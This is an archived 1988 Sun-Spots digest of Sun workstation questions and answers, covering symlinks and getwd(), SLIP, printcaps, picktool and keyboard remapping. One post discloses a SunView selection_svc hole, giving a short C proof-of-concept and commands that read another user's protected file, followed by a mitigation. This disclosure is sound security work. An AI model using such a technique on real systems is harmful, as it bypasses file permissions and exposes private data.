Sun-Spots Digest, v6n73
William LeFebvre
Sun-Spots-Request at RICE.EDU
Mon May 9 04:54:41 AEST 1988
SUN-SPOTS DIGEST Friday, 6 May 1988 Volume 6 : Issue 73
Today's Topics:
Re: Symbolic Link Superceding Path Name (3)
Re: SLIP on a CISCO box
Re: LaserJet+ support: 8 bit data
Re: TCPDUMP for SunOS 4.0
selection_svc as security hole!
Slight update to braggtools: picktool
checking for suntools in csh
Redefining keyboards?
Info about Printserver 40's?
convert dbIII files?
Sun rentals?
Modula-2 version 2.0?
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----------------------------------------------------------------------
Date: Tue, 26 Apr 88 08:45:23 EDT
From: steinmetz!grymoire!barnett at uunet.uu.net (Bruce Barnett)
Subject: Re: Symbolic Link Superceding Path Name (1)
>If she logs in and does 'pwd', it returns '/usr/appl_dir/kcc'.
>If she does 'echo $cwd' it returns '/usr/reliant1/kcc'.
>If she does 'echo ~', it returns '/usr/reliant1/kcc'. If *I* log into her
>workstation, I get the same results. If user web logs into her
>workstation, *he* gets '/usr/reliant1/kcc' consistantly.
Here are some things to look at:
1. is there an alias? e.g.
alias pwd 'echo $cwd'
2. Is the C-shell variable hardpaths set? (if set, pathnames in the
directory stack are resolved to contain no symbolic-link components)
example:
/usr/mozart is a symbolic link to /home/mozart
% echo $cwd
/usr/mozart/barnett
% cd bin/..;echo $cwd
/usr/mozart/barnett
% set hardpaths
% cd bin/..;echo $cwd
/home/mozart/barnett
3. Is the variable HOME set to something different?
Some things to watch out for:
In the C-shell, the character "~" is an abbreviation of $HOME,
which can be set to new values.
On the other hand, "~kcc" is determined from the /etc/passwd entry.
Bruce G. Barnett <barnett at ge-crd.ARPA> <barnett at steinmetz.UUCP>
------------------------------
Date: Tue, 26 Apr 88 14:28:17 BST
From: Steve Platt <steve%mrc-applied-psychology.cambridge.ac.uk at nss.cs.ucl.ac.uk>
Subject: Re: Symbolic Link Superceding Path Name (2)
In response to recent questions about pwd and symbolic links can I point
you back in time to the Customer Distributed Buglist?
It seems that SunOs's getwd() routine from 3.0 thru' 3.5 uses stat() to to
"walk up the .. tree" (wnl, '88), rather than lstat(). The result is that
getwd() may sometimes return a path component that is a symbolic link -
depending on the order of directory entries (the "ls -f" command is useful
here).
Most often, files are created, then symbolic links made to them so "stat"
will stumble on the real file/entry first. If the link is first, though,
stat() will return data about the file that link points to; and getwd()
returns the link in the pathname, rather than the linked file/directory.
[[ I hadn't thought of that possibility ... but you're right! --wnl ]]
See SUN "feature" number 1000077, in (at least) STB Aug '87, page 437.
I'm told that in OS4.0, SUN use BSD4.3's getwd(), which calls lstat()
instead, which should help solve this ambiguity!
By the way, csh calls getwd() to set the "cwd" variable, and "pwd" returns
what getwd() says, I think. So when you login, pwd and "echo $cwd" should
start the same.
Now, can I wimper about our problem? It relates to getwd() and NFS mounts
to servers that may be down ...
For a year or so, we have been puzzled as to why one of our servers "hung
up" when another server (whos file system we mount) went down. The actual
symptom we saw was that users could log in but couldnt always start a
(new) csh-shell: depending on what their "cwd" was ... and a lot of
progams/scripts need to run csh here ... anyway without going into more
detail it turned out that the crucial factor was the relative order of the
NFS mount-point and the corresponding component of the "cwd" path.
For example on one of our servers, "sirius", a users home directory (on
server "rigel") is mounted as /usr/rigel/xyz, that is, rigel's "users"
file system is mounted ontop of the (empty) directory in sirius's /usr
called "rigel".
Also our "unreliable" server, called "vega", is mounted as /usr/vega by
sirius, for those folk who might want to get at it (very few use those
files while on sirius). Also, sirius itself is a server, with its "users"
filesystem mounted in its own /usr/sirius directory/mount point. So, the
directory sirius:/usr has three empty directories in it, which are the
mount points, called "sirius","rigel" and "vega".
Now it so happens that these entries appear in the order
"sirius,vega,rigel" - so if vega goes down, anyone with /usr/rigel in
their cwd path who calls getwd() (eg csh, pwd) hangs up - as getwd()
gropes around trying to stat(/usr/vega).
Some of these people have never heard of "vega" and reckon its pretty
unfair they have to wait an hour (while vega dumps) before finding out
what their cwd is!
Maybe re-ordering the /usr directory will help here, but since you are not
encouraged to worry about directory entry order it seems like a real
(inconvenient) cludge/workaround.
The problem goes away if the mount of "vega" is "soft", but we want to
write the files, so I want to use "hard". Perhaps mount-on-demand is the
answer ... or maybe a vstat() call that avoids the NFS black hole, like
lstat() avoided the symbolic link pitfall!
Steve Platt
Applied Psychology Unit
Medical Research Council
15, Chaucer Road
Cambridge CB2 2EF
0223 355294 x 114
------------------------------
Date: Tue, 26 Apr 88 20:03:21 EDT
From: umix!lokkur!scs at rutgers.edu (Steve Simmons)
Subject: Re: Symbolic Link Superceding Path Name (3)
Further poking at our symbolic link problem reveals that if the symbolic
link is found in the directory before the dir it points to, the symbolic
links name is printed instead of the .. name. We have a partial solution.
Workaround: Delete the link, create a bunch of dummy files, re-create the
link, delete the dummy files. The link now appears at the end of the
directory, and the problem is solved.
Without wanting to get into the flame wars that filled unix.wizards on
symbolic links, let me say that in no way do I consider this a feature.
Symlinks can (and should) do strange and wonderful things, but this for
sure isn't one of them. Can anybody explain the behavior to me? Above
and beyond that, can anyone claim it's correct behavior?
[[ It is not. Read the previous article. getwd should be calling lstat
instead of stat. --wnl ]]
Many thanks to Doug Moran <...rutgers!ai.sri.com!moran> who independantly
found the same solution. He said he noticed it first in 3.0, so it's been
there a loooooonng time.
Steve Simmons
Schlumberger CAD/CAM
scs at lokkur.uucp
------------------------------
Date: Tue 26 Apr 88 10:37:42-PDT
From: William Westfield <BILLW at mathom.cisco.com>
Subject: Re: SLIP on a CISCO box
Reference: v6n63
The cisco Terminal server supports SLIP to end nodes only. In particular,
you can not have another network behind your sun 4 and expect to route
traffic between the two nets over the slip link. Essentially, the cisco
allows you to connect hosts via SLIP, but not networks.
You can think of the cisco SLIP server as being a long, slow transceiver
(MAU) extension cable. The cisco box does ARP replys for hosts that it
thinks are on SLIP links, and then forwards the packets along the serial
lines. IP packets from the slip host are sent out the ethernet. This
version is compatible with 4.3bsd slip, and should work just fine with
Suns, too. You could give us a call at 800-553-NETS if you have specific
questions that you need answered.
Bill Westfield
cisco Systems.
------------------------------
Date: Tue, 26 Apr 88 14:18:05 BST
From: Aled Morris <aledm%cvaxa.sussex.ac.uk at nss.cs.ucl.ac.uk>
Subject: Re: LaserJet+ support: 8 bit data
We have two HP LaserJet+s (one on a sun, the other on an Orion1/05 -
4.2BSD). The printcap entry I use looks a little like this:
lja.raw:sd=/usr/spool/queues/lja.raw:lf=/usr/adm/lpd.errs: \
:lp=/dev/lj:sh: \
:fs#002:fc#0177775:xs#040040:xc#0137737:br#9600:
Hope this helps.
By the way - is the LaserJet DVI filter available from the Sun Spots
archive?
[[ No. All that is available is a shar file containing input and output
filters for the laserjet, along with a printcap entry. It is called
"sun-source/hp-filters.shar". --wnl ]]
Aled Morris
systems programmer
Janet/Arpa: aledm at uk.ac.sussex.cvaxa | School of Cognitive Science
uucp: ..!mcvax!ukc!cvaxa!aledm | University of Sussex
talk: +44-(0)273-606755 e2372 | Falmer, Brighton, England
------------------------------
Date: Tue, 26 Apr 88 11:54:12 PDT
From: Craig Leres <leres%lbl-helios at lbl-rtsg.arpa>
Subject: Re: TCPDUMP for SunOS 4.0
It's been pointed out by several sources that most of the functionality of
tcpdump is available through the verbose option of the 4.0 etherfind. So I
guess you already have what you've been asking for.
Craig
------------------------------
Date: Tue, 26 Apr 88 15:10:53 EDT
From: Jeff Glass <jjg%linus at mitre-bedford.arpa>
Subject: selection_svc as security hole!
Suppose I want to read a file owned by you, but I am denied read access by
the file permissions. I log in to your workstation, where you are logged
in (or have been logged in since last reboot), and run this program:
#include <stdio.h>
#include <sys/types.h>
#include <suntool/seln.h>
main(argc, argv)
int argc;
char ** argv;
{
Seln_result ret;
ret = seln_hold_file(SELN_SECONDARY, argv[1]);
seln_dump_result(stdout, &ret);
}
like so:
% cat your_private_file
your_private_file: Permission denied
% cc seln_hold_file.c -o seln_hold_file -lsuntool -lsunwindow
% ./seln_hold_file your_private_file
% get_selection 2
< contents of your_private_file >
%
This could be troublesome if you run suntools as the superuser, since then
I could read any file I wanted to. The only fix that I can think of is to
make selection_svc execute with the permissions of some generic user:
# rm /usr/bin/selection_svc
# cp /usr/bin/suntools /usr/bin/selection_svc
# chown nobody /usr/bin/selection_svc
# chmod 4755 /usr/bin/selection_svc
#
/jeff
------------------------------
Date: Tue, 26 Apr 88 22:03:27 EDT
From: ted at braggvax.arpa
Subject: Slight update to braggtools: picktool
Here is a new version of braggtools. The only change in the new shar
archive is that picktool now has a scrollbar. Here's the man page:
[[ The shar file in the archives has been updated. It is available as
"sun-source/braggtools.shar". It can be retrieved via anonymous FTP from
the host "titan.rice.edu" or via the archive server with the request
"send sun-source/braggtools.shar". For more information about the archive
server, send a mail message containing the word "help" to the address
"archive-server at rice.edu". --wnl ]]
PICKTOOL(1) USER COMMANDS PICKTOOL(1)
NAME
picktool - Display arguments in panel window for mouse
choice
SYNOPSIS
picktool [-d] arg..
DESCRIPTION
Picktool is a window oriented version of Kernighan and
Pike's pick command from The Unix Programming Environment.
In its simplest form, it takes each argument from the com-
mand line and displays it in a Sunview panel subwindow with
a choice box beside its name. If the user clicks on the
choice box, the item is selected. Another click deselects
the item. If there are many arguments, the panel window may
be scrolled with a scrollbar on the right, so that all items
may be visited.
When all the desired items are selected, the user clicks on
the Execute button in the top panel of the tool. This
causes the names of all the selected items to be printed to
the standard output. If no items are selected, nothing is
printed.
With the -d flag, picktool tries to attach some meaning to
its arguments. In particular, it does a stat(2) on each of
them, and any that prove to be directories are not included
in the selection panel.
Picktool is most useful with the shell's command substitu-
tion feature (backquotes). For example:
lpr `picktool *`
will bring up all the name of all the files in the current
directory in the selection panel, giving the user the option
to print selected files without ever touching the keyboard.
Sun Release 3.2 Last change: 1
Thanks,
Ted Nolan
ted at braggvax.arpa
------------------------------
Date: Mon, 25 Apr 88 06:42:09 PDT
From: JQ Johnson <!intel.com!uoregon!drizzle.cs.uoregon.edu!jqj%omepd.Berkeley.EDU at ucbvax.berkeley.edu>
Subject: checking for suntools in csh
In a recent issue of sun-spots the request was made for a way to determine
if a shell is being run under suntools. WNL suggested using `tty` and
checking for /dev/console. The problem with this is that sometimes people
run something besides suntools on the console (e.g. nothing or X). I use:
if (`/usr/bin/tty` == /dev/console && ! $?WINDOW_ME ) then
# it's suntools
else
# not suntools
endif
I would be interested in knowing what people do to unambiguously identify
a csh running under X or NeWS.
------------------------------
Date: Tue, 26 Apr 88 21:04:03 EDT
From: Seth Robertson <rseth at capricorn.ctr.columbia.edu>
Subject: Redefining keyboards?
I am interested in redefining a sun 3/50 keyboard. Basicly all I want to
do is make the R[1,15] keys into a numberic keypad (sounds reasonable),
but I cannot find out how. In fact the only reference I have seen in the
manual is setkeys(1), where it states: (under the category Nosunview) ...
valid only on a Sun2 or Sun3 keyboard, and incompatible with "lefty",
"noarrows," or "reset". This option assignes new codes to keys F1 and
L2-L10, codes that are not normally produced anywhere on the keyboards.
These codes may be selected by a mapi or mapo operation defined in a
user's .ttyswrc file. I have looked at the KB and KBD entries in the
manual, but they don't seem to have very much usable information, because
I _don't_ want to write a Virtual User Input Device Driver.
This seems like a pretty standard request, but it doesn't seem like they
want people doing it. BTW, just as a little "hint", I would suggest not
trying "stty sun1 reset" on a sun3 keyboard, especially if it happens to
be the console. That causes no end of trouble...
-seth
Seth Robertson a.k.a Earendur Ranger 35th Lord of Andunie in Numenor
Center for Telecommunications Research at Columbia University
seth at ctr.columbia.edu sjr at cunixc.columbia.edu
------------------------------
Date: Tue, 26 Apr 88 15:22:57 PDT
From: Steve Blair <ascway.UUCP!scb at spar-20.spar.slb.com>
Subject: Info about Printserver 40's?
Has anyone out there had any good/bad experiences with the DEC(tm)
Printserver 40 printers? We have a couple and I'd love to have our Sun's
use them instead of these @#$ slow Apple Laserwriters(tm). 40+
pages/minute is a whole world better than 8pages/minute.
If so, would you be willing to send me some info:
1) How to deal with it as an Ethernet host.
2) Postscript sets supported.
3) How to transfer to it.
4) A Printcap.
thanks to all of y'all!!!!
steve blair
Schlumberger Technology Corporation
Austin, Texas
uucp:{backbone}!sun!decwrl!spar!ascway!blair
!sun!texsun!austsun!ascway!blair
Disclaimer: I have opinions, You have them too, mine are mine ONLY!!
------------------------------
Date: 26 Apr 88 14:12:37 EDT (Tue)
From: axiom!lpi!jdc at harvard.harvard.edu
Subject: convert dbIII files?
I would like to find a database package for Sun OS 3.2 with the capability
of reading dbaselll files, either directly or for a one-time conversion.
If that is impossible can anyone recommend a database package that will
minimize the pain of doing the conversion ourselves?
Thanks, Dustin Clampitt
Language Processors Inc. 959 Concord St., Framingham, MA 01701
------------------------------
Date: Tue, 26 Apr 88 20:34:31 edt
From: suneast!alliant!werme at sun.com (Ric Werme)
Subject: Sun rentals?
Logicraft would like to rent a Sun 3 for a month or so to port their
386ware product to it (an Ethernet box that runs up to 8 MS-DOS processes
so you don't need PCs all over the place too). Unfortunately, all our
usual suppliers say they don't carry Sun but offer to rent us a DEC
workstation instead. Any pointers to rental sources would be appreciated,
as would anyone else who could help out more directly (e.g. barter a
server for development time).
Reply either to linus!alliant!werme or Mark Phaneuf at 603-880-0300.
------------------------------
Date: Tue, 26 Apr 88 18:47:41 +0200
From: "Christian S. Collberg" <collberg at dna.lth.se>
Subject: Modula-2 version 2.0?
When last I contacted Sun about the new (version 2.0) release of the
Modula-2 compiler they assured me it would be out before the end of 1987.
I have not heard anything further since then. Does anyone have any
information about the new version, such as new features, bugs fixed, and -
last but not least - the planned date of release?
Christian Collberg
collberg at dna.lu.se
------------------------------
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